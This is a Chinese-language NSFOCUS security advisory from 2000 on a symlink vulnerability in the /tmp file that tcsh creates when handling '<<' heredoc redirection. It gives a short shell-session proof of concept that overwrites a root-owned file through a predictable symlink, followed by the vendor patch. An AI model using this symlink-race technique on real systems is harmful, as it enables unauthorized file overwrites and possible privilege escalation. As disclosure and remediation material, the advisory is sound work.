首页 -> 安全研究

安全研究

安全漏洞
tcsh '<<'重定向/tmp文件符号链接漏洞

发布日期:2000-11-09
更新日期:2000-11-09

受影响系统:

tcsh 6.9.00
tcsh 6.8.00
tcsh 6.7.2
描述:

Tcsh是传统的C shell的增强版本。它在处理'<<'重定向操作时,没有以安全的方
式在/tmp下创建文件。该文件文件名是基于tcsh进程的进程号的,因此是可以猜测
的。

攻击者可以在/tmp/下创建一系列的符号链接文件,当其他用户(例如root)在使用
tcsh进行'<<'重定向操作时,就可能导致未授权文件的内容被覆盖。

这可能造成拒绝服务攻击。在特定条件下,也可能提升攻击者的权限。

<* 来源:proton (proton@energymech.net) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# ls -l rootfile sh$$
-rw-------   1 root root       12 Nov  9 11:38 rootfile
lrwxrwxrwx   1 root root        8 Nov  9 11:38 sh24106 -> rootfile
/tmp# cat <<BAR
? FOO
? BAR
FOO
o world
/tmp# ls -l rootfile sh$$
ls: sh24106: No such file or directory
-rw-------   1 root root       12 Nov  9 11:39 rootfile
/tmp# cat rootfile
FOO
o world




建议:

临时解决方法:

NSFOCUS建议您尽快从CVS升级您的tcsh.

厂商补丁:

Kris Kennaway <kris@FREEBSD.ORG>提供了一个补丁程序:

Index: sh.dol.c
===================================================================
RCS file: /mnt/ncvs/src/contrib/tcsh/sh.dol.c,v
retrieving revision 1.1.1.3.2.1
diff -u -r1.1.1.3.2.1 sh.dol.c
--- sh.dol.c 2000/06/10 22:25:57 1.1.1.3.2.1
+++ sh.dol.c 2000/11/04 22:23:29
@@ -1,4 +1,4 @@
-/* $Header: /src/pub/tcsh/sh.dol.c,v 3.40 2000/06/10 21:36:06 kim Exp $ */
+/* $Header: /src/pub/tcsh/sh.dol.c,v 3.42 2000/10/31 16:55:52 christos Exp $ */
/*
  * sh.dol.c: Variable substitutions
  */
@@ -36,7 +36,7 @@
  */
#include "sh.h"

-RCSID("$Id: sh.dol.c,v 3.40 2000/06/10 21:36:06 kim Exp $")
+RCSID("$Id: sh.dol.c,v 3.42 2000/10/31 16:55:52 christos Exp $")

/*
  * C shell
@@ -1017,7 +1017,7 @@
heredoc(term)
     Char   *term;
{
-    register int c;
+    int c;
     Char   *Dv[2];
     Char    obuf[BUFSIZE], lbuf[BUFSIZE], mbuf[BUFSIZE];
     int     ocnt, lcnt, mcnt;
@@ -1025,7 +1025,9 @@
     Char  **vp;
     bool    quoted;
     char   *tmp;
+    struct timeval tv;

+again:
     tmp = short2str(shtemp);
#ifndef O_CREAT
# define O_CREAT 0
@@ -1036,12 +1038,22 @@
#ifndef O_TEMPORARY
# define O_TEMPORARY 0
#endif
-    if (open(tmp, O_RDWR|O_CREAT|O_TEMPORARY) < 0) {
- int     oerrno = errno;
-
+#ifndef O_EXCL
+# define O_EXCL 0
+#endif
+    if (open(tmp, O_RDWR|O_CREAT|O_EXCL|O_TEMPORARY) == -1) {
+ int oerrno = errno;
+ if (errno == EEXIST) {
+     if (unlink(tmp) == -1) {
+  (void) gettimeofday(&tv, NULL);
+  shtemp = Strspl(STRtmpsh, putn((((int)tv.tv_sec) ^
+      ((int)tv.tv_usec) ^ ((int)doldol)) & 0x00ffffff));
+     }
+     goto again;
+ }
  (void) unlink(tmp);
  errno = oerrno;
- stderror(ERR_SYSTEM, tmp, strerror(errno));
+  stderror(ERR_SYSTEM, tmp, strerror(errno));
     }
     (void) unlink(tmp);  /* 0 0 inode! */
     Dv[0] = term;

浏览次数:6127
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障